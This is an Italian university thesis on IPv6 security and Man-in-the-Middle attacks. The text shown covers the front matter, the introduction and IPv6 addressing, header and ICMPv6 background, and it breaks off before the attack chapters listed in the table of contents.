Studio, analisi e valutazione della sicurezza su IPv6 e
Transcript
Studio, analisi e valutazione della sicurezza su IPv6 e
UNIVERSITÀ DELLA CALABRIA Facoltà di Ingegneria Corso di Laurea in Ingegneria Informatica Dipartimento di Elettronica Informatica e Sistemistica Studio, analisi e valutazione della sicurezza su IPv6 e degli attacchi Man in The Middle (MiTM) Relatori : Candidato: Prof. Floriano DE RANGO Rocco FOLINO Matr: 109137 Ing. Antonio F. GENTILE Anno Accademico 2011-2012 1 c 2012 Rocco Folino Copyright È garantito il permesso di copiare, distribuire e/o modificare questo documento seguendo i termini della GNU Free Documentation License, Versione 1.3 o ogni versione successiva pubblicata dalla Free Software Foundation; una copia della licenza è acclusa nella sezione intitolata ”GNU Free Documentation License” (Appendice A). Indice 1 Introduzione 1 2 IPv6 2.1 Introduzione . . . . . . . . . . . . . . . . . . . . . 2.2 Novità rispetto ad IPv4 . . . . . . . . . . . . . . 2.3 Indirizzamento . . . . . . . . . . . . . . . . . . . 2.3.1 Notazione degli indirizzi . . . . . . . . . . 2.3.2 Allocazione dello spazio di indirizzamento 2.3.2.1 Indirizzo unspecified . . . . . . . 2.3.2.2 Indirizzo loopback . . . . . . . . 2.3.2.3 Indirizzi unicast . . . . . . . . . . 2.3.2.4 Indirizzi multicast . . . . . . . . 2.3.2.5 Indirizzi anycast . . . . . . . . . 2.3.2.6 IPv6/IPv4 embedding . . . . . . 2.4 Formato dell’header . . . . . . . . . . . . . . . . . 2.4.1 Extension header . . . . . . . . . . . . . . 2.4.1.1 Hop-by-Hop Options . . . . . . . 2.4.1.2 Routing . . . . . . . . . . . . . . 2.4.1.3 Fragment . . . . . . . . . . . . . 2.4.1.4 Destination Options . . . . . . . 2.5 ICMPv6 . . . . . . . . . . . . . . . . . . . . . . . 2.5.1 Messaggi di errore . . . . . . . . . . . . . 2.5.1.1 Destination Unreachable . . . . . 2.5.1.2 Packet Too Big . . . . . . . . . . i . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 3 4 5 6 7 8 8 8 10 12 13 14 16 17 18 20 21 21 21 21 23 INDICE 2.6 ii 2.5.1.3 Time Exceeded . . . . . . . . . . . . 2.5.1.4 Parameter Problem . . . . . . . . . . 2.5.2 Messaggi informativi . . . . . . . . . . . . . . 2.5.2.1 Echo Request e Echo Reply . . . . . 2.5.2.2 Router Advertisement . . . . . . . . 2.5.2.3 Router Solicitation . . . . . . . . . . 2.5.2.4 Neighbor Advertisement . . . . . . . 2.5.2.5 Neighbor Solicitation . . . . . . . . . 2.5.2.6 Redirect . . . . . . . . . . . . . . . . Neighbor Discovery Protocol . . . . . . . . . . . . . . 2.6.1 Funzionamento . . . . . . . . . . . . . . . . . 2.6.1.1 Host-Router Discovery Function . . . 2.6.1.2 Host-Host Communication Function 2.6.1.3 Redirect Function . . . . . . . . . . 3 Attacchi Man in The Middle 3.1 Introduzione . . . . . . . . . . . . . 3.2 Attacchi Man in The Middle . . . . 3.2.1 NDP spoofing . . . . . . . . 3.2.2 SLAAC attack . . . . . . . 3.3 Conseguenze . . . . . . . . . . . . . 3.3.1 Hijacking . . . . . . . . . . 3.3.2 Injection . . . . . . . . . . . 3.3.3 Data tampering . . . . . . . 3.3.4 Sniffing . . . . . . . . . . . 3.3.5 DoS . . . . . . . . . . . . . 3.4 Contromisure . . . . . . . . . . . . 3.4.1 SEND . . . . . . . . . . . . 3.4.2 RA-Guard . . . . . . . . . . 3.4.2.1 RA-Guard evasion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24 25 26 26 28 30 31 32 34 35 35 35 36 37 . . . . . . . . . . . . . . 38 38 39 39 41 42 42 43 43 43 43 44 44 44 44 4 Implementazione: mitm6 45 4.1 Introduzione . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45 INDICE 4.2 4.3 4.4 iii Librerie utilizzate . . . . . . . . 4.2.1 Pcap . . . . . . . . . . . 4.2.2 IPv6LIB . . . . . . . . . Inizializzazione del programma . Implementazione degli attacchi 4.4.1 NDP Spoofing . . . . . . 4.4.2 SLAAC Attack . . . . . . . . . . . . . . . . . . . 5 Implementazione ambiente di test 5.1 Introduzione . . . . . . . . . . . . . 5.2 Strutturazione dell’ambiente di test 5.3 NDP Spoofing . . . . . . . . . . . . 5.4 SLAAC Attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45 45 46 46 48 48 50 . . . . 53 53 53 56 58 6 Conclusioni e sviluppi futuri 59 A GNU Free Documentation License A.1 Applicability and definitions . . . . . A.2 Verbatim copying . . . . . . . . . . . A.3 Copying in quantity . . . . . . . . . . A.4 Modifications . . . . . . . . . . . . . A.5 Combining documents . . . . . . . . A.6 Collections of documents . . . . . . . A.7 Aggregation with independent works A.8 Translation . . . . . . . . . . . . . . A.9 Termination . . . . . . . . . . . . . . A.10 Future revisions of this license . . . . A.11 Relicensing . . . . . . . . . . . . . . 61 62 64 65 66 68 69 69 70 70 71 72 Bibliografia . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 74 Elenco delle figure 2.1 2.2 2.3 2.4 2.5 2.6 2.7 2.8 2.9 2.10 2.11 2.12 2.13 2.14 2.15 2.16 2.17 2.18 2.19 2.20 Indirizzo global unicast . . . . . . . . . . . . . . Modified EUI-64 . . . . . . . . . . . . . . . . . Indirizzo multicast . . . . . . . . . . . . . . . . Indirizzi IPv4-Compatible . . . . . . . . . . . . Indirizzi IPv4-Mapped . . . . . . . . . . . . . . IPv6 Header . . . . . . . . . . . . . . . . . . . . Extension headers . . . . . . . . . . . . . . . . . Hop-by-Hop option extension header . . . . . . Routing extension header . . . . . . . . . . . . . Fragment extension header . . . . . . . . . . . . ICMPv6 Destination Unreachable Message . . . ICMPv6 Packet Too Big Message . . . . . . . . ICMPv6 Time Exceeded Message . . . . . . . . ICMPv6 Parameter Problem Message . . . . . . ICMPv6 Echo Request and Echo Reply message ICMPv6 Router Advertisement Message . . . . ICMPv6 Router Solicitation Message . . . . . . ICMPv6 Neighbor Advertisement Message . . . ICMPv6 Neighbor Solicitation Message . . . . . ICMPv6 Redirect Message . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . format . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 9 11 13 14 15 17 18 19 20 22 23 24 25 26 28 30 31 32 34 3.1 3.2 3.3 3.4 Attacco “Man In The Middle” Scambio messaggi NS ed NA . Attacco NDP Spoofing . . . . Scambio messaggi RS ed RA . . . . . . . . . . . . . . . . . . . . . 38 39 40 41 iv . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ELENCO DELLE FIGURE v 3.5 SLAAC Attack . . . . . . . . . . . . . . . . . . . . . . . . . . 42 5.1 5.2 5.3 5.4 5.5 5.6 5.7 5.8 5.9 Ambiente di test . . . . . . . . . . . . . . . Configurazione macchina virtuale . . . . . . Cache senza attaco . . . . . . . . . . . . . . Pacchetti scambiati . . . . . . . . . . . . . . Flow graph . . . . . . . . . . . . . . . . . . Cache con attaco . . . . . . . . . . . . . . . Router Advertisement ricevuti . . . . . . . . Router Advertisement inviati dall’attaccante tabella di routing della vittima . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54 54 56 56 57 57 58 58 58 Elenco delle tabelle 2.1 2.2 2.3 2.4 2.5 Allocazione dello spazio di indirizzamento . . . . . . . . . . . ICMPv6 Unreachable Message Subtypes . . . . . . . . . . . . ICMPv6 Parameter Problem Message Subtypes . . . . . . . . ICMPv6 Router Advertisement Message Autoconfiguration Flags ICMPv6 Neighbor Advertisement Message Flags . . . . . . . . vi 7 23 26 29 32 Capitolo 1 Introduzione La nascita di IPv6 risale al lontano 1998. Osservando il rapido esaurimento degli indirizzi IPv4, la IETF, Internet Engineering Task Force, ha incominciato a implementare una nuova versione dell’Internet Protocol [4]. Rispetto ad IPv4, IPv6 mette a disposizione uno spazio infinitamente maggiore e strutturato gerarchicamente per l’indirizzamento. Inoltre, benché supporti in maniera ottimale gli indirizzi non unicast, sia qualificato da un nuovo formato dell’header e caratterizzato da altri elementi positivi, presenta gravi vulnerabiltà. Questa tesi scaturisce dall’idea di affrontare e studiare dette falle di sicurezza, le quali costituiscono un problema non indifferente, ulteriormente aggravato dalla transizione, attualmente in corso, da IPv4 al nuovo protocollo. (Dal 6 giugno 2012, IPv6 risulta abilitato in modo permanente dai maggiori ISP e grandi aziende come Google, Amazon, Cisco Systems -cfr. www.worldipv6launch.org -). Nel secondo capitolo si provvede a tracciare una panoramica complessiva e dettagliata delle caratteristiche e punti chiave di IPv6. Il successivo, invece, verte intorno agli attacchi di tipo Man in The Middle (o in forma acronima MiTM) per le reti IPv6. In particolare, viene esposta la modalità con cui è estremamente facile attuare questa tipologia di attacchi, dirottando il traffico della comunicazione tra due host verso un terzo, senza che questo se ne accorga. Il quarto capitolo ha come finalità la descrizione del processo implementa- 1 CAPITOLO 1. INTRODUZIONE 2 tivo che ha condotto alla definizione di mitm6, un programma scritto in linguaggio C, su OS Linux, rilasciato sotto licenza GPLv3, compatibile, al momento, solo con sistemi operativi analoghi. Si trattano, in questo contesto, le particolarità esecutive di NDP Spoofing e SLAAC Attack. La costruzione dell’ambiente di test, adoperando VirtualBox, costituisce il fulcro dell’ultimo capitolo. Nello stesso si descrivono le modalità di esecuzione degli attacchi NDP Spoofing e SLAAC Attack ad opera di mitm6, fornendo, infine, rappresentazioni grafiche esplicative dei risultati conseguiti. Capitolo 2 IPv6 2.1 Introduzione Era il 1981 quando i primi pacchetti cominciarono a essere trasmessi via internet utilizzando la versione 4 dell’internet protocol (IPv4) [RFC 791]. Nel 1998, osservando il rapido esaurimento degli indirizzi IPv4, la IETF, Internet Engineering Task Force, (www.ietf.org) ha incominciato a implementare una nuova versione dell’Internet Protocol: IPv6 [4]. Perché IPv6 e non IPv5? Il motivo risiede nel fatto che la versione 5 si riferisce ad un protocollo sperimentale chiamato Internet Stream Protocol che non è stato mai ampiamente diffuso. Rispetto ad IPv4, IPv6 mette a disposizione 128 bit per l’indirizzamento, questo significa che gestisce 2128 (circa 3, 4 · 1038 ) indirizzi. Il problema dell’indirizzamento costituisce, dunque, una delle principali motivazioni che ha indotto lo sviluppo dell’IPv6, benché non unico. Infatti, rispetto alla versione precedente, sono state apportate ulteriori migliorie (trattate nel paragrafo 2.2) tese ad una maggiore robustezza del protocollo. Unitamente a IPv6, sono stati introdotti altri due protocolli, il supporto alla versione 6 per il Control Message Protocol (ICMPv6) [RFC 2463] e il Neighbor Discovery 3 CAPITOLO 2. IPV6 4 Protocol (ND) [RFC 2461]. Le immagini riprodotte nel capitolo in oggetto sono tratte da www.tcpipguide.com. 2.2 Novità rispetto ad IPv4 Ampio spazio di indirizzamento Lo spazio di indirizzamento è aumentato notevolmente, infatti gli indirizzi IPv6 hanno a disposizione 128 bit a differenza di quelli IPv4 che ne hanno 32. Lo spazio di indirizzamento viene espanso, dunque, da circa 4 miliardi di indirizzi ad un numero astronomico, oltre 300 trilioni di trilioni di trilioni di indirizzi. Spazio di indirizzamento gerarchico La strutturazione gerarchica dello spazio di indirizzamento comporta una moltitudine di classi di indirizzi. Assegnamento gerarchico degli indirizzi unicast È stato creato un indirizzo unicast globale che, oltre a facilitare l’allocazione degli indirizzi nell’intera Internet, permette multipli livelli gerarchici di reti e sottoreti e la generazione dell’indirizzo IP basato sull’indirizzo dell’interfaccia del dispositivo hardware, come l’indirizzo MAC nelle reti Ethernet. Migliore supporto per gli indirizzi non unicast Ottimizzato notevolmente il supporto al multicasting. È stata introdotta una nuova classe di indirizzamento, anycast, che consente l’invio del messaggio al più vicino (dal punto di vista della raggiungibilità) membro del gruppo. Nuovo formato dell’header Il formato dell’header è stato ridefinito con l’aggiunta di nuove funzionalità. L’header principale del datagramma IP è stato ridimensionato, infatti consta 8 campi a confronto dei 12 campi dell’IPv4. Inoltre è possibile estendere facilmente l’header attraverso uno o più Extension Header in cascata. CAPITOLO 2. IPV6 5 Supporto per il QoS Sono state aggiunte caratteristiche per la gestione del Quality of Service (QoS). Sicurezza Migliore supporto alla sicurezza rispetto ad IPv4 usando due extension header: authentication e encryption. Aggiornate le procedure di frammentazione e riassemblamento Il modo in cui i datagrammi vengono frammentati e riassemblati è cambiato. Questo ha portato ad una maggiore efficienza nel routing. Inoltre, molti altri procolli dello stack TCP/IP sono stati aggiornati. Uno di questi è l’ICMP, che è stato rivisto per IPv6 con la creazione dell’ICMPv6. Un nuovo protocollo è stato introdotto come sostituto del più che noto Address Resolution Protocol (ARP), il Neighbor Discovery Protocol (ND Protocol). 2.3 Indirizzamento Rappresenta la sezione dell’IPv6 che ha subito maggiori modifiche; tra queste la più rilevante rimanda all’ampliamento dello spazio di indirizzamento, che passa da circa 4 miliardi (32 bit) di elementi (in IPv4) a più di 300 trilioni di trilioni di trilioni (128 bit). Variazioni significative sono state apportate anche alla tipologia degli indirizzi supportati, le quali hanno comportato, tra l’altro, la rimozione della classe broadcast e l’introduzione di una nuova denominata anycast. In sintesi risultano supportate le tipologie unicast, multicast, anycast; le prime due individuano, rispettivamente, una singola interfaccia e un gruppo di interfacce, analogamente a quanto accadeva per IPv4, mentre la rimanente, pur identificando un gruppo di interfacce, è strutturata in maniera tale che i pacchetti vengano recapitati al membro del gruppo più vicino. CAPITOLO 2. IPV6 2.3.1 6 Notazione degli indirizzi A differenza di IPv4, dove gli indirizzi venivano espressi utilizzando una notazione decimale, in IPv6 gli indirizzi vengono determinati impiegando una notazione esadecimale. In particolare, gli indirizzi sono suddivisi in otto gruppi, ciascuno dei quali composto da quattro cifre, separati da colonne: 805b:2d9d:cd28:0000:0000:fc57:d4c8:1fff Oppure può essere riscritto in modo più compatto: 805b:2d9d:cd28:0:0:fc57:d4c8:1fff Questa notazione viene chiamata colon hexadecimal notation. Al fine di rendere l’indirizzo IPv6 più breve, pertanto più semplice da ricordare, si ricorre a una tecnica nota come zero-compression, la quale permette di sostituire stringhe di zeri con due colonne. Si fornisce, come esempio, la riscrittura secondo tale indicazione del precedente indirizzo: 805b:2d9d:cd28::fc57:d4c8:1fff La doppia colonna (::), all’interno dell’indirizzo, può apparire solamente una volta, allo scopo di prevenire ambiguità in quanto, diversamente, non sarebbe possibile sapere il numero esatto di zeri corrispondenti a ogni doppia colonna. In aggiunta alle due notazioni sopracitate ne esiste un’altra, usata in alcuni casi specifici, chiamata mixed notation, impiegata per inserire, all’interno di un indirizzo IPv6, un indirizzo IPv4 espresso in dotted notation, negli ultimi 32 bit: 0:0:0:0:0:0:192.168.0.1 o anche: ::192.168.0.1 CAPITOLO 2. IPV6 7 Infine, come per gli indirizzi IPv4 classless, un indirizzo IPv6 è diviso in Network-ID e Host-ID. Il numero di bit usati dal primo è chiamato prefix length e viene rappresentato aggiungendo, alla fine dell’indirizzo, uno slash (/) seguito dal numero di bit (prefix length): 805b:2d9d:cd28::fc57:d4c8:1fff/48 Tale sistema fa riferimento a quello utilizzato per gli indirizzi IPv4 classless con la notazione CIDR. 2.3.2 Allocazione dello spazio di indirizzamento L’allocazione degli indirizzi IPv6 avviene in base alla loro tipologia. Il tipo di indirizzo viene indicato dai bit più significativi come esplicato dalla tabella sottostante. Address Type Unspecified Loopback Multicast Link-local unicast Site-local unicast Global unicast Binary Prefix 00...0 (128 bits) 00...1 (128 bits) 11111111 1111111010 1111111011 (everything else) IPv6 Notation ::/128 ::1/128 FF00::/8 FE80/10 FEC0/10 – Tabella 2.1: Allocazione dello spazio di indirizzamento Per gli indirizzi anycast viene utilizzato lo spazio degli indirizzi unicast. Attualmente l’allocazione degli indirizzi unicast viene limitata al range di indirizzi che iniziano con il valore binario 001, dunque, solamente il 14% dello spazio di indirizzamento unicast è stato allocato, il restante 86% (oltre trilioni di trilioni di indirizzi) è stato messo da parte per usi futuri. Per ulteriori dettagli riguardo all’allocazione dello spazio di indirizzamento si faccia riferimento alla RFC 3513 [9]. CAPITOLO 2. IPV6 2.3.2.1 8 Indirizzo unspecified Rappresenta un indirizzo con tutti i bit posti a zero (0:0:0:0:0:0:0:0 o anche ::). Generalmente viene adoperato quando un dispositivo non conosce il proprio indirizzo IP e ne richiede la configurazione. 2.3.2.2 Indirizzo loopback Come per IPv4, in IPv6 è presente l’indirizzo di loopbak utilizzato per effettuare test sulle interfacce. Quando viene inviato un pacchetto che ha come indirizzo di destinazione questo particolare indirizzo, il pacchetto viene ritornato (proprio dal nome “loop back”) al dispositivo che l’ha inviato. In IPv6 questo indirizzo è espresso ponendo tutti i bit a 0 tranne il bit 127-esimo, posto a 1: 0:0:0:0:0:0:0:1 o anche ::1 2.3.2.3 Indirizzi unicast Gli indirizzi unicast sono utilizzati per inviare i pacchetti ad una singola interfaccia. Generalmente i 128 bit di un generico indirizzo unicast sono suddivisi in tre parti: • Prefix (n bit): identifica un sito complesso (un cluster di reti); • Subnet ID (m bit): identifica una specifica sottorete all’interno di un sito; • Interface ID (128-n-m bit): identifica un’interfaccia fisica in una subnet; Nella RFC 3515 [9] vengono definite diverse tipologie di indirizzi unicast, in particolare global unicast, site-local unicast, link-local unicast. Global Unicast La suddivisione dell’indirizzo global unicast non cambia rispetto a quella di CAPITOLO 2. IPV6 9 un indirizzo unicast generico. Figura 2.1: Indirizzo global unicast Sebbene, in teoria, n ed m possono assumere qualsivoglia valore, le implementazioni scelte per IPv6, generalmente, assegnano 48 bit al global routing prefix, 16 bit al subnet id e, infine, 64 bit per l’interface id che deve assumere un valore univoco. Esso può essere specificato manualmente oppure può essere ricavato a partire dall’indirizzo fisico utilizzando il formato Modified EUI-64. Figura 2.2: Modified EUI-64 CAPITOLO 2. IPV6 10 Site-Local unicast Questa tipologia di indirizzi viene utilizzata solamente all’interno dei siti (intranet). I router hanno il compito di instradare i pacchetti con questo tipo di indirizzi solamente all’interno del sito. I primi 10 bit possono assumere un valore tra 3FB0, 3FC0, 3FD0, 3FE0 mentre i successivi 54 bit corrispondono al subnet id ed infine l’interface id si compone di 64 bit. Link-Local unicast Sono indirizzi utilizzati per operazioni come il neighbor discovery, l’autoconfigurazione o quando non sono presenti router. Possono essere impiegati solamente su un singolo link (rete locale) e i router non instradano i pacchetti che hanno un indirizzo Link-Local. I primi 10 bit possono assumere un valore tra FE80, FE90, FEA0, FEB0 mentre i successivi 54 bit, che corrispondono al subnet id, sono posti a zero ed infine l’interface id risulta costituito da 64 bit. 2.3.2.4 Indirizzi multicast Gli indirizzi multicast sono impiegati per inviare i pacchetti a un gruppo di interfacce. Un indirizzo multicast ha il seguente formato: CAPITOLO 2. IPV6 11 Figura 2.3: Indirizzo multicast I primi 8 bit sono settati a 1 e sono rappresentativi di un indirizzo multicast. I primi 3 bit dei flag sono riservati e posti a 0. L’ultimo bit, invece, se pari ad 1, identifica un indirizzo multicast assegnato permanentemente (wellknown) dalla IANA (Internet Assigned Number Authority), diversamente, un indirizzo unicast non permanentemente assegnato (transient). Attraverso il campo Scope ID, si delimita l’ambito di applicazione del gruppo multicast. Tale campo può assumere i seguenti valori: • 1 = reserved • 2 = interface-local scope • 3 = link-local scope • 4 = riservato • 5 = admin-local scope • 6 = site-local scope • 7 = non assegnato • 8 = non assegnato CAPITOLO 2. IPV6 12 • 9 = organization-local scope • A = non assegnato • B = non assegnato • C = non assegnato • D = non assegnato • E = global scope • F = riservato Gli scope link-local, site-local e global hanno lo stesso significato dei rispettivi unicast. L’interface-local scope viene utilizzato per le trasmissioni multicast su loopback, l’admin-local scope ha una portata molto piccola e deve essere amministrativamente configurato, l’organization-local scope è pensato per coprire diversi siti di una stessa organizzazione e, infine, gli scope appellati come “non assegnati” sono disponibili per definire nuovi gruppi multicast da parte degli amministratori di rete. Il group ID identifica il gruppo multicast. 2.3.2.5 Indirizzi anycast Un indirizzo anycast, analogamente a quanto avviene per il multicast, è assegnato a più di una interfaccia. Quando un router processa un pacchetto che ha come destinazione proprio un indirizzo anycast, lo invia al membro del gruppo più vicino (in termini di raggiungibilità). Gli indirizzi anycast non hanno allocato un loro spazio, ma si rifannno a quello degli indirizzi unicast, quindi, come si fa a capire se un indirizzo è unicast o anycast? Semplicemente, quando un indirizzo multicast viene assegnato a più di una interfaccia diventa anycast. L’RFC 3513 [9] specifica delle limitazioni nell’uso degli indirizzi anycast: • un indirizzo anycast non deve essere utilizzato come indirizzo sorgente in un pacchetto IPv6; CAPITOLO 2. IPV6 13 • un indirizzo anycast non deve essere assegnato ad un host IPv6, può essere assegnato solamente a un router; Queste restrizioni sono dovute al fatto che la tipologia degli indirizzi anycast è relativamente nuova, quindi, si ha poca esperienza con essa. 2.3.2.6 IPv6/IPv4 embedding Il protocollo IPv6 non può subentrare direttamente ad IPv4, dunque, è necessario un periodo di transizione (del quale si ignora la durata) in cui i due protocolli devono convivere. Per rendere questo meccanismo di transizione e il periodo di coesistenza il più indolore possibile, è stato necessario incorporare all’interno di un indirizzo IPv6, un indirizzo IPv4. Lo spazio allocato da questa tipologia di indirizzi prende una parte del blocco riservato, ovvero tutti quegli indirizzi che hanno i primi otto bit a zero. Ne vengono specificati due formati: indirizzi IPv4-Compatible e indirizzi IPv4-Mapped. IPv4-Compatible Questi speciali indirizzi vengono assegnati ai dispositivi dual-stack, che sono abilitati, cioè, a lavorare sia con IPv4 che con IPv6. Essi sono formati da 96 bit posti a zero seguiti dai 32 bit finali che contengono l’indirizzo IPv4. Figura 2.4: Indirizzi IPv4-Compatible CAPITOLO 2. IPV6 14 IPv4-Mapped Questi sono regolari indirizzi IPv4 che sono mappati nello spazio di indirizzamento IPv6. Vengono utilizzati per i dispositivi che lavorano solamente con IPv4. Essi hanno i primi 80 bit settati a zero seguiti da 16 bit posti a uno. Nei 32 bit finali risiede l’indirizzo IPv4. Figura 2.5: Indirizzi IPv4-Mapped 2.4 Formato dell’header Il datagramma IPv6 è composto da un header principale, con lunghezza fissa di 40 byte ed eventualmente uno o più exstension header, seguiti dal payload. L’header contiene le informazioni di base per il processamento e il routing del datagramma, mentre le altre sono inglobate negli exstension header. CAPITOLO 2. IPV6 15 Figura 2.6: IPv6 Header Di seguito si allegano i campi costituenti l’header IPv6: • Version (4 bit), identifica la versione del protocollo IP in uso, con valore sempre pari a sei. • Traffic Class (8 bit), sostituisce il campo Type of Service (TOS) dell’header IPv4, rimandando ai nuovi Differentiated Services (DS) definititi nella RFC 2474. • Flow Label (20 bit), utilizzato per i datagrammi real-time e per il QoS. Il concetto di flusso, cosı̀ come definito nell’RFC 2460 [4], rappresenta una sequenza di datagrammi inviati da un dispositivo sorgente ad uno o più dispositivi di destinazione. Per identificare i datagrammi che appartengono ad un determinato flusso viene usato un valore univoco del flow label. • Payload Length (16 bit), indica il numero di byte del payload. CAPITOLO 2. IPV6 16 • Next Header (8 bit), ha due usi: se il datagramma ha uno o più extension header, identifica il primo extension header, altimenti, indica il protocollo del livello superiore. • Hop Limit (8 bit), sostituisce il campo Time To Live (TTL) del datagramma IPv4. • Source Address (128 bit), rappresenta il dispositivo che originariamente ha inviato il datagramma. • Destination Address (128 bit), costituisce la destinazione finale a cui deve essere recapitato il datagramma. 2.4.1 Extension header Una delle novità più importanti presenti nel datagramma IPv6 è il campo Next Header. Quando un datagramma IPv6 usa gli extension header, il campo next header contiene il codice identificativo del primo extension header che, a sua volta, impiega un altro campo next header, il quale punta al successivo e cosı̀ via. L’ultimo extension header punta al protocollo del livello superiore. CAPITOLO 2. IPV6 17 Figura 2.7: Extension headers L’RFC 2460 [4] specifica sette Extension Header. 2.4.1.1 Hop-by-Hop Options Contiene informazioni opzionali che devono essere esaminate da ogni nodo (router) tra la sorgente e la destinazione. CAPITOLO 2. IPV6 18 Figura 2.8: Hop-by-Hop option extension header Ha il seguente formato: • Next Header (8 bit), indica il tipo di header che segue. • Header Extension Length (8 bit), esplicita la lunghezza dell’extension header. • Options (variabile), contiene uno o più opzioni in TLV-encoded. 2.4.1.2 Routing Viene adoperato per specificare una serie di router attraverso cui il datagramma deve passare nel cammino verso la destinazione. CAPITOLO 2. IPV6 19 Figura 2.9: Routing extension header Risulta composto da: • Next Header (8 bit), indica il tipo di header che segue. • Header Extension Length (8 bit), quantifica la lunghezza dell’extension header. • Routing Type (8 bit), permette di specificare diverse tipologie di routing (al momento è utilizzato solamente il tipo zero). • Segments Left (8 bit), specifica il numero dei nodi espicitamente definiti che rimangono nel cammino. • Reserver (32 bit), non viene utilizzato ed è posto a zero. • Address1, ..., AddressN (variabile; multiplo di 16), rappresenta un vettore di N indirizzi IPv6. CAPITOLO 2. IPV6 2.4.1.3 20 Fragment Il seguente extension header viene incluso unicamente nei datagrammi frammentati. Esso contiene informazioni necessarie al riassemblamento di tutti i frammenti. Figura 2.10: Fragment extension header È caratterizzato dal seguente formato: • Next Header (8 bit), indica il tipo di header che segue. • Reserved (8 bit), non viene usato ed è posto a zero. • Fragments Offset (13 bit), contiene l’offset, ovvero la posizione del frammento all’interno del datagramma originale. • Reserved (2 bit), non viene usato ed è posto a zero. • More Fragments (1 bit), se posto a 1 indica la presenza di altri frammenti. • Identification (32 bit), viene usato per identificare il datagramma di appartenenza del frammento, al fine di precludere la possibilità che frammenti di due datagrammi diversi vengano confusi. CAPITOLO 2. IPV6 2.4.1.4 21 Destination Options Contiene le opzioni utilizzate solamente dal destinatario del datagramma. I campi sono analoghi a quelli propri dell’Hop-by-Hop Options extension header. 2.5 ICMPv6 Con la nascita di IPv6, considerate le sostanziali differenze con IPv4, è stato necessario caratterizzare una nuova versione per l’Internet Control Message Protocol. La versione 6, descritta nella RFC 2463 [7], definisce una serie di messaggi che possono essere divisi in due categorie: messaggi di errore e messaggi informativi. 2.5.1 Messaggi di errore Analogamente a quanto si verifica per la versione 4, questi messaggi sono utilizzati per informare il mittente che qualcosa, nella trasmissione di un pacchetto, non è andata a buon fine. L’ICMPv6 definisce 4 messaggi di errore: destination unreachable messages, packet too big messages, time exeeded messages, parameter problem messages. 2.5.1.1 Destination Unreachable Questo messaggio di errore viene adoperato per informare il mittente che non è possibile recapitare il messaggio al destinatario. Il formato del messaggio è il seguente: CAPITOLO 2. IPV6 22 Figura 2.11: ICMPv6 Destination Unreachable Message dove: • type (1 byte), rappresenta il tipo di messaggio, in questo caso è settato a 1. • code (1 byte), identifica il sottotipo di messaggio, (cfr. la Tabella 2.2 per una lista completa). • checksum (2 byte), utilizzato per il controllo di errori. • unused (4 byte), campo vuoto e non utilizzato, settato a 0. • original datagram portion (variabile), parte del datagramma IPv6 che può essere adattato senza che la dimensione del messaggio ICMPv6 (includendo quello proprio dell’IP header) ecceda la minima MTU di 1280 byte. CAPITOLO 2. IPV6 Codice Messaggio 0 No route to destination 1 Communication with destination administratively prohibited 3 Address unreachable 4 Port unreachable 23 Descrizione Indica che il datagramma non può essere recapitato poiché non esiste alcuna route verso di essa Indica che il datagramma non può essere recapitato a destinazione poiché viene filtrato Indica che non è possibile recapitare il messaggio al mittente scelto La porta di destinazione (UDP o TCP) scelta non è valida Tabella 2.2: ICMPv6 Unreachable Message Subtypes 2.5.1.2 Packet Too Big Viene inviato dai router per informare che la dimensione del pacchetto è troppo grande rispetto alla capienza del link (MTU). Quando un host riceve questo messaggio di errore deve frammentare il pacchetto. L’header è formato dai seguenti campi: Figura 2.12: ICMPv6 Packet Too Big Message dove: • type (1 byte), rappresenta il tipo di messaggio, in questo caso è settato a 2. • code (1 byte), non usato per questo messaggio e viene impostato a 0. CAPITOLO 2. IPV6 24 • checksum (2 byte), utilizzato per il controllo di errori. • mtu (4 byte), indica la dimensione dell’MTU (Maximum Transfer Unit), in byte, del link fisico su cui deve essere inviato il pacchetto. • original datagram portion (variabile), parte del datagramma IPv6 che può essere adattato senza che la dimensione del messaggio ICMPv6 (includendo quello proprio dell’IP header) ecceda la minima MTU di 1280 byte. 2.5.1.3 Time Exceeded Viene utilizzato in due contesti distinti: quando il campo HopLimit ha valore 0, il pacchetto viene scartato oppure quando il destinatario deve riassemblare un pacchetto frammentato e qualche frammento si perde. Il formato dell’header è il seguente: Figura 2.13: ICMPv6 Time Exceeded Message dove: • type (1 byte), rappresenta il tipo di messaggio, in questo caso è settato a 3. • code (1 byte), identifica il sottotipo di messaggio: 0 indica che il campo HopLimit è 0, mentre 1 indica che è avvenuto il timeout per il riassemblamento di un pacchetto (uno o più 